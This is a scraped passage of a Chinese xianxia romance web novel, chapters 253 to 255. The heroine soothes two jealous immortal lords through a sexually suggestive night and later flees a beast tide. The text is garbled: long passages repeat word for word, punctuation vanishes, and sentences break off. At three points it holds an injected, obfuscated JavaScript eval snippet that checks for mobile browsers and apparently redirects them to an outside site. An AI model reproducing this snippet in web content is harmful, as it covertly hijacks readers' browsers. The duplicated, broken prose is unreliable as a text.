帝隐险些仰面躺倒,反应过来江献晚是在捉弄他,耳根子红的滴血,慌手慌脚轻轻去拦她找玉简的动作。 嗓音都乱了。 “不要……” “晚晚……” “不要说……” 江献晚笑的花枝乱颤,帝隐偏偏只对她没一点招,慌乱中,只能抱了她,掩耳盗铃似的将面颊懊恼的埋在她颈窝。 羞涩的哀求。 “不要说。” “喜欢的。” “我都喜欢的。” 地,两团小扇子似的睫毛一点一点垂落下去。 她睡了很久,像是将骨头里的疲惫都睡尽。 醒来察觉到帝隐连细微的动作都未变动。 将自己软成一汪水,脸颊贪恋的埋着他怀中,猫儿似的轻蹭。 蹭了几下,眼睛还未睁开,便忍不住笑了。 迷迷糊糊圈了他的脖颈,唇瓣厮磨一般,舔咬着他的锁骨,满意的听到头顶传来勾人的轻喘。 坏坏的勾了勾唇。 咕哝出的话,瞬间使得耳尖泛红的男人绷紧了浑身骨头。 帝隐柔软到不可思议的表情一僵,乃至有些迷惘和震惊。 而后,呼吸渐渐急促起来,面颊也憋的染上瑰丽的潮红。 “晚晚。” 脆弱而羞涩的呜咽嗔语,不难听出,北帝尊面对这种犀利而别致的送命问题,无助的又要碎了。 江献晚险些笑出声来,攀着他的肩颈,缠上去。 “我和行行,你最喜欢谁?” 这个问题不亚于,我和你妈同时掉进水里,你先救谁。 江献晚当然不会跟自个儿子一决高下,就是忍不住想逗逗他。 咬了一下他的唇瓣,装的委屈。 出乎意料。 北帝尊很快给了她答案。 帝隐稳稳扶着她的腰身,头颅微微下压。 他的眼睛此时宛如砚中墨玉,静水深流,沉淀千年的暖色,无声无息,浸润人心。 专注凝视时,长长的睫毛在眼下投出微深的剪影,带着抚平一切躁动的温柔,直抵岁月尽头。 却又是纯粹且坚定。 江献晚听到很轻的一声,不由屏息。 “是你。” 他轻声说。 “晚晚,是你。” 帝隐倏然拥她入怀,眸子浸润一片湿润的雾霭。 磐石低语,风雪不侵。 “是你。” “一直都只是你。” 他爱他们的骨肉,倘若非要选一人,他承认,他是个混蛋。 江献晚沉默了很久,久到眼前男人局促起来,在心中疯狂自省。 晚晚会不会认为他不爱他们的孩子…… 会不会认为他这个人差劲到不可饶恕…… 会不会…… “噗嗤。” 在他陡然呆呆怔住,江献晚趴在他心口,闷闷笑出了声。 拖长嗓音,发出“啊?”的震惊低呼。 “啊?这样啊。” “那我可跟行行说了,你说你不爱他。” 帝隐:“……” 帝隐险些仰面躺倒,反应过来江献晚是在捉弄他,耳根子红的滴血,慌手慌脚轻轻去拦她找玉简的动作。 嗓音都乱了。 “不要……” “晚晚……” “不要说……” 江献晚笑的花枝乱颤,帝隐偏偏只对她没一点招,慌乱中,只能抱了她,掩耳盗铃似的将面颊懊恼的埋在她颈窝。 羞涩的哀求。 “不要说。” “喜欢的。” “我都喜欢的。” 地,两团小扇子似的睫毛一点一点垂落下去。 她睡了很久,像是将骨头里的疲惫都睡尽。 醒来察觉到帝隐连细微的动作都未变动。 将自己软成一汪水,脸颊贪恋的埋着他怀中,猫儿似的轻蹭。 蹭了几下,眼睛还未睁开,便忍不住笑了。 迷迷糊糊圈了他的脖颈,唇瓣厮磨一般,舔咬着他的锁骨,满意的听到头顶传来勾人的轻喘。 坏坏的勾了勾唇。 咕哝出的话,瞬间使得耳尖泛红的男人绷紧了浑身骨头。 帝隐柔软到不可思议的表情一僵,乃至有些迷惘和震惊。 而后,呼吸渐渐急促起来,面颊也憋的染上瑰丽的潮红。 “晚晚。” 脆弱而羞涩的呜咽嗔语,不难听出,北帝尊面对这种犀利而别致的送命问题,无助的又要碎了。 江献晚险些笑出声来,攀着他的肩颈,缠上去。 “我和行行,你最喜欢谁?” 这个问题不亚于,我和你妈同时掉进水里,你先救谁。 江献晚当然不会跟自个儿子一决高下,就是忍不住想逗逗他。 咬了一下他的唇瓣,装的委屈。 出乎意料。 北帝尊很快给了她答案。 帝隐稳稳扶着她的腰身,头颅微微下压。 他的眼睛此时宛如砚中墨玉,静水深流,沉淀千年的暖色,无声无息,浸润人心。 专注凝视时,长长的睫毛在眼下投出微深的剪影,带着抚平一切躁动的温柔,直抵岁月尽头。 却又是纯粹且坚定。 江献晚听到很轻的一声,不由屏息。 “是你。” 他轻声说。 “晚晚,是你。” 帝隐倏然拥她入怀,眸子浸润一片湿润的雾霭。 磐石低语,风雪不侵。 “是你。” “一直都只是你。” 他爱他们的骨肉,倘若非要选一人,他承认,他是个混蛋。 江献晚沉默了很久,久到眼前男人局促起来,在心中疯狂自省。 晚晚会不会认为他不爱他们的孩子…… 会不会认为他这个人差劲到不可饶恕…… 会不会…… “噗嗤。” 在他陡然呆呆怔住,江献晚趴在他心口,闷闷笑出了声。 拖长嗓音,发出“啊?”的震惊低呼。 “啊?这样啊。” “那我可跟行行说了,你说你不爱他。” 帝隐:“……” 帝隐险些仰面躺倒,反应过来江献晚是在捉弄他,耳根子红的滴血,慌手慌脚轻轻去拦她找玉简的动作。 嗓音都乱了。 “不要……” “晚晚……” “不要说……” 江献晚笑的花枝乱颤,帝隐偏偏只对她没一点招,慌乱中,只能抱了她,掩耳盗铃似的将面颊懊恼的埋在她颈窝。 羞涩的哀求。 “不要说。” “喜欢的。” “我都喜欢的。” 第 253 章 你走 他爱他们的血脉更爱江献晚。 他还不敢让行行知道他这个不合格的父亲小心又翼翼。 行行若听到恐怕会觉得他这个父亲一言……难尽两言……说都不想说。 面对北帝尊的小绝望小忧伤江献晚伏在他怀里笑的好大声。 眼看北帝尊羞的又快要哭了终于良心发现结束了这个要命的问题。 但她还有一个问题。 明知答案可就是想开口问一问。 江献晚在他腿上直起身子显得有些居高临下。 平静且认真。 “我不会丢下狐狸又或者说我不会仅仅只有狐狸一个也放不下。” “你还要与我一起?” 这个问题听起来一样没道德。 但不知为何就是要听他说。 然而尽管早已预料在帝隐开口的那刻江献晚表情猝然一顿。 他眸底有不容忽视的泌滟水光燃着执拗的星火光华氤氲温柔的径自漫开到眼角。 深处不被窥见的是难以恕己的自责和痛楚。 微微轻抬下颌仰视一人。 望进她眼中。 轻声道: “似水流年愿与卿同。” “我甘之如饴求之不得。” 他欢喜欢喜江献晚没有丟下他。 不敢想江献晚不看他留他一人。 往事他错了太多。 明知她是变异灵根又是琉璃玉骨春潮期时难以承受。 他却残忍的独留她一人。 他多少次庆幸。 庆幸有风回雪庆幸有花不休庆幸有苏清流他们陪在她身边。 “晚晚无论你身边有多少人 他抬着眼一双清水般的眸子已是濡湿。 江献晚盯着他清亮的眼睛有片刻的失神。 再眨眼缓缓笑了一下扶着他的肩膀忽然低头吻去他眼角的泪。 “似水流年愿与君同。” —— 江献晚踩着月光下的剪影经过云为泽屋 子外,望见那间屋子中仍亮着的烛火,脚步又是一顿。 林玉锦起夜,睡眼惺忪看见她站在那里,有些担心的大步走过来。 “小师妹,想就进去啊,你不进去,帝尊怎么知道你想他想的大半夜都睡不唔……” 江献晚赶忙堵了他的嘴,“小师兄,你不说话,小师妹真的不会把你当哑巴的。” “唔……小丝兄不是怕你心里有负唔唔唔……” “收了……唔唔……都收……唔!” 够了! 一个个作闹的他小师妹半夜都不能睡! 瞅瞅,拉磨的驴都没他小师妹累,那是转着圈的哄啊! 还不如直接都收了! 把花美人那个妖孽也给收喽! 看他们还怎么闹! 真是够了! “小师兄挺……唔!” 江献晚“啪叽”一下,拍自个小师兄脑门上一张噤声符,幽幽道:“小师兄,我不想弑兄。” 对此,林玉锦两根手指捏上嘴。 走之前,再次回头,给她一个加油的眼神。 江献晚四十五度角望天,“都收了,也挺不错。” “一个洗脚,一个洗脸,一个铺床,一个叠被,一个端茶,一个捏腿儿,一个……嘿嘿,陪睡。” 云为泽忽然推开窗。 妥帖的衣裳,勾勒颀长的身形,昭示着他还未歇下。 他抬起眼睫,望向她的方向,一张脸苍白到有些病态。 额前几缕碎发拂过,睫羽深长,半掩着眸中颜色,消散在沉沉黑暗之中。 缓缓侧身的动作几乎耗尽最后的力气一般,向窗棂倚靠而去。 只看着她,却不言语。 江献晚沉默了一会儿,“那个,我说的是收灵宠。” 云为泽浸在一片阴影中,空茫的视线穿过浓稠的夜色,最终在即将触到那近在咫尺的一片青衣,化为沉重的虚无。 他垂下眼,落在自己泛着青色脉络的手背上,过了许久,微弱的声音,模糊而遥远。 不知是问眼前人,或是自己。 “是吗?” 江献晚唇瓣动了动,漆黑的眼眸中突然带了一点异样的情愫。 仿佛一粒雪,转眼融化在掌心。 还是强站定脚跟,透过窗棂直勾勾的凝视那张残雪般的美人面。 不露声色,解释道:“弟子真的没说您。 “啪! 云为泽苍白的面庞倏尔失去所有的血色,步履踉跄,突兀的猛然回身,两扇窗随之合上。 江献晚来不及反应。 望着紧闭窗扇投落的阴影,重重抿了一下唇。 意识到这个玩笑并不好笑,原地只踌躇不到半秒。 轻轻敲响了窗。 许久后。 “睡了。 屋中人嗓音沙哑,低声道。 但不难听出一丝被割裂般的苍白。 江献晚立刻推开窗户。 云为泽背对着她,烛晕淌过墨色袍角。 没有回头,声线有一丝微不可察的颤动。 “江献晚,大半夜的,你非要来气吾吗? 他甚至讨厌,讨厌自己学不会狐狸那般又争又抢,没有非翎嘴甜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088143|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又比不过帝隐的性子软,还不似凤仪一样,会勾会缠。 只会说些不讨喜的话。 就像现在,他自己都觉得厌恶。 江献晚眸光微动,视线落在他微微塌下去的肩颈上,语气风平浪静,没有半丝多余情绪。 “那我走? 云为泽喉咙在一瞬间窒哽,眼睫落下的阴影将眼底潮湿的薄红遮蔽干净。 明明想留,仍旧头也不回,嗓音淡淡,与心背道而驰。 “你走。 江献晚扭头就走了。 衣料簌簌的轻响声在他声音刚落下的同一时间,便在耳边毫无留恋的远离。 云为泽身体蓦然一晃,嘴唇颤抖着张合了几下,视线模糊的化开。 他面庞空白的近乎无措,唇肉被齿关无意识咬出一点血痕。 终究是一步一步,拖着铅重的步子,怔怔坐回软榻上。 从袖中摸出一颗滚圆的荔枝,剥开。 送到唇边,指尖却无力的沉落下去。 “剥了怎么不吃? 耳畔陡然响起这么一 句。 云为泽未回眸,眼睫急急翕动,试图遮掩酸胀的泪意,不言不语,拿帕子擦手。 江献晚看了一会儿,轻声道:“很干净了。” 云为泽不语,死命擦,擦的指尖似沾染了秾丽的胭脂。 像当她不存在一般。 江献晚平静的神色猝然先坍塌了,抽走他手中的帕子,语气是气恼的咬牙切齿。 “不开心怎么不说?” “不说,又不睡觉。” 非要自个在这儿拧巴吗? 云为泽没动,耳尖轻轻竖起。 不过,说到睡觉,江献晚声音忽然一止,软了两分。 “今天你睡着,我本来给你盖被子,你的剑忽然跑出来,一剑拍晕了我。” “你的剑……” “江献晚。” 那面庞忽而再次褪尽血色的男子,不知何时抬起了一双眼。 江献晚动作一顿,止声。 那是一双濡湿潮红,浸满各种泥泞情绪的眼睛,早已破碎,零落成泥。 云为泽袖中的指骨在膝头蜷作一团,再无遮掩的将狼狈,连同心意,一鼓作气摊在她面前。 兴许因那双眸子情绪太乱,只剩光华褪尽的殇,反倒安静下来。 他平静的看着江献晚,然而失去了视线的那双墨黑星眸,无论如何努力,始终不能准确对上她的视线。 满是被逼到悬崖尽头的狼狈和自嘲。 “大半夜,你是来跟吾解释这个吗?” “吾不会误会。” 第 254 章 不闹了 “你可以走……唔。” 几乎是倾斜坍塌的瞬间,云为泽重重往后一跌,倏地睁大了眸子。 江献晚满脸愠怒,就跟个突然抽疯的恶狗一样,长腿一迈,气势汹汹骑上他的腰腹。 根本不管他的表情,双手大力擒了他的手腕,固定在头顶,凶狠的一口咬下去。 一边穷凶极恶的叼着他的唇,粗鲁的辗转反侧,一边含糊不清的怒道:“你再闹?” “云为泽!你有完没完!” “我只是想说你的剑它有点贱!你现在又闹什么!” 她这不是马不停蹄来哄了吗? 三千念:“……” “谁让你今天早上睡着的!我来得及哄了吗?” “你给我机会哄了吗!” “你的剑又给我机会哄了吗!” “我这不是来了!” “嗯?说话!!!” 南帝尊根本说不出话,被她突如其来的悍匪举动,和狗啃骨头似的吻,咬的本就跌碎的三魂七魄乌泱泱碎作无数片,浑身止不住细微的痉挛。 他承受着唇瓣上的剧痛,双眸涣散,眼中的湿意来不及消褪。 甚至无法探究,现在是不是又是他做的一场苍白而无力的梦。 江献晚一声声恼怒的声音,更是砸的他晕头转向,一秒将他推进梦境,只剩一片虚无剧烈动荡。 他明明记得江献晚同帝隐一起走了。 现在骑在他身上,啃的很凶,还想……将他咬死的人,又是谁…… 江献晚:“……”是你妹! 看他全然不清醒,只湿红着眸,江献晚是想一口将他咬死。 摁着没有半点反应的南帝尊,将他的唇粗鲁的啃破了皮,又艳又肿。 直到两人口中弥漫一缕甜腻的血腥味,江献晚猛然拉回理智,下意识安抚般轻轻舔了舔。 “是不是痛了?” 她眼角余光瞧见面色仍是空白,却被她亲的面颊涨红、浑身战栗的男人。 知晓他没回魂,更不会回答她半个字,眉眼禁不住一软。 腾出一只手,流氓似的扯开那高高交叠的衣襟,从他红肿的唇上,顺着下颌,一路留下点点润泽的水色。 含了那段性感的侧颈,再缠绵不过的轻舔吮吸。 够了! 就该她的! 一个个的,再不哄好,大半夜的,还让不让睡了! 云为泽估计以为自个已经睡了…… 依旧不信自己腰腹上忽然多出一个,看起来突然饿了,要吃宵夜的女流氓。 陷在一场割裂的梦境之中。 颈线全然拉长,思路根本无法立刻转变、理清,眸中空洞,瞳仁里没有一点焦距,泪珠失序般,不断的顺着眼角滑落。 整个人像是浮于真空,又像坠入尘世。 他的手不知何时被松开,已然攥紧。 修长的指骨凸出苍白的骨节,手背上青筋根根浮现。 那一连串印在颈侧的吻,含去他泪珠的吻,又轻又软,却使他一颗心逐渐高悬而起,每一个失序的心音都似轰**耳。 冰冷的四肢在这微凉孤寂的深夜,一点一点回温。 深陷在泥泞中的神魂,逃出生天。 窒息的痛楚过后,表情也成了解脱后,而又陷入另一种崩塌的丰富。 他唇线紧抿,压抑不住似痛似爽的闷哼。 那身交叠的禁欲华服,随着女流氓的动手动嘴,大敞,逐渐袒露出一痕精悍胸腹。 微凉的空气,与那双软糯温热的唇瓣,让他腹部不自知的一再绷紧。 便立时感觉到……腹肌一痛。 是……江献晚又轻轻给了他一口。 云为泽湿红的眸子缓慢聚焦,视线一低,落在江献晚发顶上。 还有…… 那一口又一口,沾着口水,不断落在他胸腹的浅浅吻痕。 直至,从唇瓣到颈子,再到大片胸膛与小腹布满密密麻麻的印子,他面上多出奇异的滟丽色泽……江献晚也啃累了。 江献晚确实啃累了。 亲了一下他的唇,轻轻喘息着,将自己伏在他怀中,睫毛软软耷拉,安静下来。 历经一番鏖战般的激烈交戈,云为泽这会儿再分不清梦境现实,和江献晚此番举动,就是傻的了。 他垂眼低喘,耳尖沁的涨红,面颊似桃花汁倾覆,不再是苍白。 看着眼角眉梢挂着媚色,衣裳乌发 凌乱的女子微微别开一些 他无法道出自己低到尘埃又被高高抛起的心绪缭乱的像疯长的杂草底下喷薄出无边无尽的生机。 他只知道他似乎……有人要了。 也有人哄了。 云为泽闭了眼安静的躺着自虐一般忍着湍急的血液任她来回的摸。 也任自己在这美好的现实中溺死进去。 然而江献晚心里似乎还有点小气可能是大半夜还要忙碌抬起脑瓜子又重重咬了一下他的唇。 换上一副凶神恶煞的美人面。 “以后还闹不闹了!” 收了! 都收了! 看谁还敢再跟她闹! 不能惯。 一个都不能惯! 云为泽睫毛一颤耳根子腾地一下起火轻轻别开脸。 半晌。 喉结重重一滚发出一声沙哑难抑的急喘。 却还是咬着牙掺着一点心虚一点绝望一点别扭一点欢悦一点尴尬…… 喘出的气息低得几乎有些听不清。 “没有闹。” 江献晚:“……嗯?”还嘴硬? 上挑的嗓音使得云为泽又是一闭眼面颊涨红无助轻声更正道:“不闹了……” 江献晚勉强满意威胁的视线一散自然而然落在周遭颇为壮观风骚摇曳着的花海上。 “你还会开花?” 云为泽:“……”一脸脆弱。 云为泽会开花江献晚实属没想到。 没见过想看看。 撑着力气翻身坐到他腰腹上一番深入的摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088144|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索。 她发现她只要一摸或者是一啃云为泽那些大片大片的花萼便颤的十二分的风骚。 又忍不住想来亲近她。 云为泽又要碎了。 他**献晚摸咬的难耐浑身筋骨都要尽数崩断。 偏他偷偷摸摸掐了几十次都没掐走一朵花。 微弱的力度揪了一点滑落在手肘间的衣料试图阻拦江献晚好奇般在他腰腹来回移动的手。 哑着嗓子,异常乖觉。 “天快亮了……你,你不回去睡吗?” 他有些撑不住了。 他的花恐怕也哆嗦累了。 江献晚:“……”回去?回哪去?谁回去? 踢掉鞋袜,轻轻蹬了一下他的花,再轻轻蹬了一下他腿间。 随后将自个尽数窝在他身上。 “我就不回去。” 他气消了,爽了,就想将她赶走,天底下哪里有这样的道理。 她今晚非得将他别扭的脾气给治服了! 否则,她名字就倒过来写! 云为泽:“……” 某个要害处一痛,云为泽滚动着喉结翻出一声难以抑制的喘息,手倏然扣上她的腰。 下颌贴在她头顶,难耐压抑的喘息,却同样来了小脾气。 “江献晚!是你只陪着他们的!” “我呢?” “你眼睛里有我吗?” 他双眸不知是情欲催出来的红,还是太过压抑委屈,和不能承载的欢喜。 亦或者,皆有。 在此刻全然爆发。 云为泽湿红着眸子将她翻下,倾身覆上去,几乎是狠厉一般含上她的唇舌,死死地在她的唇上碾磨。 “江献晚……你心里有我吗?” “你明知……明知我心悦你……你装眼瞎……” “我等你等了很久……” “你呢?” “哄罢小贱魔哄狐狸,哄罢狐狸哄我哥和帝隐。” “你知不知道我今天等你等了多久……蜡烛也燃尽了。” “晚晚……” “我一直在等你……” “我不知道!” 江献晚回咬过去,登时被他一连串的话语,撩的一肚子气,眼中却是漫出来的盈盈笑意。 “这会儿喊晚了?” “是你自己不说!” “我又凭什么不能考虑考虑?” “有你这么偷偷摸摸心悦人的……唔……云为泽!你咬我?!” “……没有。” “你咬了!” “……是!我就是咬了!”云为泽吮吸着她的侧颈,留下属于自己的印记。 捕捉那因他发出的软糯颤音,眼睛又是一阵胀热。 与她十指交扣,带着情欲的湿哑嗓音在她耳边低而颤的吐息。 “晚晚……别走……” “不要走……” “我说谎了。” “我想要名分……” “晚晚……给我。” 第 255 章 一夜没着家 烛泪未干光影的薄纱赫然勾画出一双缠绵的人影和满室活色生香、舒展极致的花萼。 那眉眼蕴光的男子表情生动潋滟侧脸优美额鼻俱如玉雕眼尾宛若红梅压雪。 覆在她后颈上的手微微收紧不许她躲却克制着没有用力。 滚烫的唇轻轻撬开她的唇齿贪恋地汲取她的气息是自己都未曾察觉到的失控狠戾。 直将人弄的崩溃了犹自湿着睫毛张着被涎水浸润的尤为晶莹的红唇。 压抑的喘息在兵刃相接中迅速失控云为泽竭力放轻呼吸努力细细去听耳边融化般的低软泣音。 是他从未听到过的音色。 江献晚青丝如瀑横沉在枕席间渗着柔润脂光的肩颈宛如被剥去外皮的荔枝。 云为泽只觉一股邪火要将他活生生烧死蹙着眉 望着那墨黑的瞳仁周围已然一片赤红低头在她颈间发出几声近乎痛苦的闷哼的男人试图躲避的江献晚再次不争气的……心软了。 那自制力向来强大的南帝尊额角渗汗眉心紧蹙背部绷出结实而漂亮的弧线。 壁垒分明的腰腹上濛着一层细密的汗珠无声沁透她的衣裳表情欢愉又痛苦。 江献晚抿了抿嫣红的唇在他竭力想将欲望压下时双腿勾了他劲窄的腰身。 算了。 哄人哄到底。 给一点……也行。 省得他又闹。 但只能给这么多。 而原本渴望能要个名分就满足了的南帝尊没想到江献晚给他的更多。 在那柔若无骨的手指极具安抚轻轻触来的瞬间。 呼吸一滞筋骨一绷。 轻吮她颈子的唇稍稍一顿唇齿间泄出一声急促的闷哼。 那满室的花萼骤然掀起一片战栗的花浪就在一双人不知天地为何物江献晚被啃的眼角泛泪。 两声轻微的叩门声突兀的砸进耳畔。 江献晚:“……!” 云为泽筋骨已绷至拉满的弓弦蓄势待发。 江献晚则是一慌拧身就要下榻。 只是。 她一只脚刚踩在地上,雪白的足踝一紧,整个人跌回一个热汗涔涔的胸膛。 那只酸软的手,被云为泽强势拉回。 云为泽下颌淌着汗珠,双眸暗红,在身体像是一根被不断拉紧的弦即将到达崩溃的边缘,身体的本能一边压倒理智。 手臂一抬,已将人重重抱进怀里。 一只手大力包裹着她的手,另一只手将人掰过来,低头重重吻了上去。 “唔! 花不休睫帘低垂,驻足在门外,便听到男人喉中发出一声如玉山之将崩,濛着暧昧音色,濒死般的模糊低喘。 江献晚:“…… 这样一种令人毛骨悚然的场景下,被交待在手心,江献晚一口气没上来,险些表演一个原地去世。 这才发现天色已亮。 更听出了来者何人。 却……不知来人是不是也听到了什么。 她极度恐慌和心虚下,又推不开……伏在她肩头,浑身轻颤的男人,只得拿干净的手指狠狠一拧。 情欲未褪,云为泽痛的又是一哼,忙偏头,认错讨好似的啄了一下她的唇瓣。 江献晚:“…… 一炷香过后。 云为泽肩肘一振,披上玄衣,后知后觉耳根子通红,从背后环了她的腰身,便得到了……江献晚一个无情肘击。 透过窗棂中狗狗祟祟瞧着几个长老难得不在,四下无人,当即做贼似的,跳窗拔腿就跑。 像是屁股后面有狗在追她。 云为泽:“…… —— 六宗轮换的弟子,照例进入虚古境。 江献晚手里攥着两个野核桃,四下寻找。 林玉锦徒手捏碎核桃,展示自己的手指力量,“看,这不就碎了。 “吃东西要有仪式感,砸的才好吃。 “这样的吗? 林玉锦蹲下身子凑过来,一起找石头。 苏清流和白子夜默默松开准备捏碎核桃的手指。 小师妹说的没错。 吃东西要有仪式感。 然而,周围都是些巨石块,江献晚只好从芥子囊翻找。 找来 找去,摸到墓碑,掂了掂,手感还挺不错,“破是破了点,凑合着用吧。” 墓碑:“……” 砰。 一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薄唇微压,冷眼乜向林玉锦和白子夜,“不说话,没人把你们当哑巴。” 他自然知道,小师妹昨晚一直未归。 今日还在脖颈涂抹了一层厚厚的脂粉。 林玉锦酸的不知其味,早已后悔昨晚说的那些话,他后半夜翻来覆去,睁着眼睛到天亮。 小声嘟囔,“装什么装,也不知道谁昨个在小师妹屋顶上躺了一夜,你不也吃醋了。” “瞅你那脸拉的,收收吧。” “有本事把小师妹先放开再说!” 苏清流一夜未眠,又被捅了心窝子,用力一抿唇,抄起剑,剑鞘砸他脑壳上,咬牙道:“闭、嘴!” 江献晚冷汗流了一盆儿,忙拉紧了苏清流的手,“那个,大师兄……” 她声音猛地一顿。 苏清流三人也察觉到了异常,一对眼。 “兽潮!” 四人蹭地跃起,江献晚随手拾起墓碑,纳入袖中。 林玉锦火急火燎:“快快!通知所有的人!” 苏清流双指一并,一簇灵力烟花在头顶砰然炸开,四人毫不犹豫朝异兽异动的方向掠去。 碰巧,异兽来的方向,正是他们这里。 苏清流青衣若雾掠地,修长的骨指压上剑柄。 白子夜没用灵笔,掏出一块阵盘,变大。 江献晚左手核桃,右手锅。 林玉锦挺胸抬头,在三双视线的注视下,刷地一下,掏出一支……状似长矛,却比长矛还长的毛笔。 见状,顺着长矛高高仰起脸的三人,嘴角齐齐一抽。 江献晚:“这傻笔还能变大变长?” 林玉锦又放大放长一点,往地上一杵,骄傲的抬起下颌,“能!” 他也是无意中发现的,还把他的屋顶戳了一个洞,简直让人爱不释手,想抱想亲。 “还得是小师妹和二师兄,我才能拥有这么一个万众瞩目的武器。” 白子夜笑的温柔,嘴巴很毒,“这傻笔算是跟对人了,与你天造地设的一对。” “不用万众,就很瞩目了。” 林玉锦丝毫不觉得可耻,脖儿抬的更骄傲了,“我觉得这傻笔很趁我。” 苏清流望着大盘子,大锅,大笔,陷入沉思。 是什么残害了他师弟师妹的心灵,让他们的口味如此的……感人。 无语地收回视线,四人直面铺天盖地涌来的异兽,眼底皆闪动着凝重而又兴奋地光泽。 异兽暴动,情况显然依旧不容乐观。 不过,很久没打架,还真是手痒的紧。 林玉锦兴奋的一挥胳膊,“刚好,试试我的大傻笔!” 苏清流和白子夜被抽的脚步踉跄了一下,前者反手就是一剑,后者反手一阵盘。 “管好你的傻笔!” “不对。”江献晚忽然道。 她唇角的笑意一敛,语气忽然有些僵硬,“为什么我觉得,呃……有很多很多很多很多异兽,都在往我们这个地方来?” 听着兽潮奔跑的动静,和空中倾轧般遮天蔽日飞来的一片黑压压异兽。 林玉锦一哆嗦,大叫一声,“卧槽!跑啊!” 这次的兽潮,就像是汇聚了虚古境半数的异兽一般,地面都在剧烈摇晃。 空中更是传来羽翼扑棱的巨大破风声。 面对这么一种情况……四人转身,拔腿就跑。 墓碑:“……” 完了完了。 它好像吸的猛了,把那些异兽都给吸兴奋了。 怎么办怎么办? 要不,装一个? 墓碑当即装死,不再吸收死气。 而其他守在瞭望台,或巡视的弟子,懵了。 何未语在听到头顶一声巨大的响声,猛地扭头看去,便见太虚宗弟子巡视的区域上空,炸开一束灵力凝成的花。 定睛再看附近和远方,发现兽潮来的突然,又震撼。 异兽纷相跑出,从各个方向,在空中,在地面,逐渐凝聚成了数条看不到尽头、宛如飞快移动的游龙般的兽潮。 径直朝着太虚宗巡视的区域铺泄而去。 何未语脸都白了,刷地拔剑,凌空飞跃而起,冲向距离最近的兽潮。 并以灵力将声音扩散。 “随我支援江师妹!” 天青宗所有在周围巡视的亲传,立刻从不同方向紧跟其后,试图拦截一些异兽。 然而。 那些异兽看到他们,跟仿佛没看见似的,绕过他们,撒丫子跑的那叫一个飞快。 何未语一剑划空,愣了一下,眼看着异兽擦过她的裙角,刮起一阵尘烟,震惊的张大了嘴巴。 “我去?” “天要亡我江师妹?” 又双叒叕来? 其中一个弟子傻傻地举着剑,见根本没搭理他们,狂奔而去的一小片异兽潮,猛地一哆嗦,“江师妹这运气,也太衰了吧?” “衰炸了。” 何未语深吸一口气,长剑一抖,扬脖儿嘶吼,“要杀就杀我!别杀我江师妹!” 她还等着看江师妹如何泡两位帝尊跟她师尊呢! 同一时间,其他几宗值守弟子也出现了这种情况。 那些一小片一小片的异兽,活似被抠了眼珠子似的,绕开他们,像是商量好般疯狂往同一个方向跑。 于是…… 所有的弟子撒丫子,往太虚宗巡视的区域,狂奔。 其中以何未语、修言和裴长安跑的最快。 虚古境外,对坐不语的两位帝尊,听到灵力骤然爆响的动静,齐齐抬眸。 下一秒,竹椅上哪还有人。 六宗高层在看到空中炸开的灵花,更是狗咬腚似的,十万火急迅速进入。 时云霄和秦秦一阵风,从屋中刮出,将奔跑的明长老……创了两个大跟头。 林轻染皱着眉跟上,有些诧异,“怎么回事?这几日并未吸取灵塔灵力,虚古境的异兽为何集体暴动?” 系统沉默一瞬,厌烦道:“你不会自己去看!” 问问问,光长眼睛不会看! 虚古境中。 苏清流四人身影掠的一道道残影,闪身从迎面而来的小片兽潮中穿梭而过,不要钱似的,一路狂撒符纸。 身后的兽潮仍紧追不舍,一眼望去,密密麻麻,几乎望不到头。 对比如此过于庞大而数目惊人的兽潮,四人此刻显得格外渺小。 让他们更绝望的是,林玉锦和江献晚剩下的交欢丹存货,面对这么多异兽,掀不起半点水花。 距离很快拉近,有几只异兽甚至碰到了他们的衣角。 “卧槽!” 林玉锦猛地一缩屁股,抓狂嘶吼,“帝尊呢帝尊呢帝尊呢!” “花美人——!!!” 苏清流手腕一翻,反手一剑挥出,江献晚眼疾手快拉了一把白子夜。 四人有些绝望了。 兴许等不到花美人和两位帝尊前来,他们就会被这些兽潮撕成碎片。 江献晚当机立断,“大师兄,我们用加速符,先散开!” 不知道为什么,她觉得这些异兽的目标好像只是他们四人。 且看起来格外兴奋,像是看到了什么美味的食物。 若是分开,拧成一股的兽潮队伍定然会被打乱,应当足以撑到花美人或是云为泽和帝隐过来。 四人对视一眼,立刻拍身上几张加速符,嗖地一下分散开,朝四个不同方向跑去。 林玉锦气喘吁吁,听着后面动静明显远了,才敢回头。 这么一看,脚步急刹。 “卧槽!异兽呢!” 苏清流和白子夜的情况与他分毫不差,意识到什么,急忙掉头,疯狂往异动的方向赶。 三人迎面撞上,遥遥相望,面色霎时煞白,三颗心坠入谷底。 “完了!它们全跟着小师妹去了!” 又是两波兽潮涌来,让他们心全然凉透的是,这两波兽潮根本没一个异兽看他们一眼,如泄洪般径直朝着江献晚的方向追去。 江献晚自然发现了这种情况,忧伤之余,又松了一口气。 还好,大师兄他们没事。 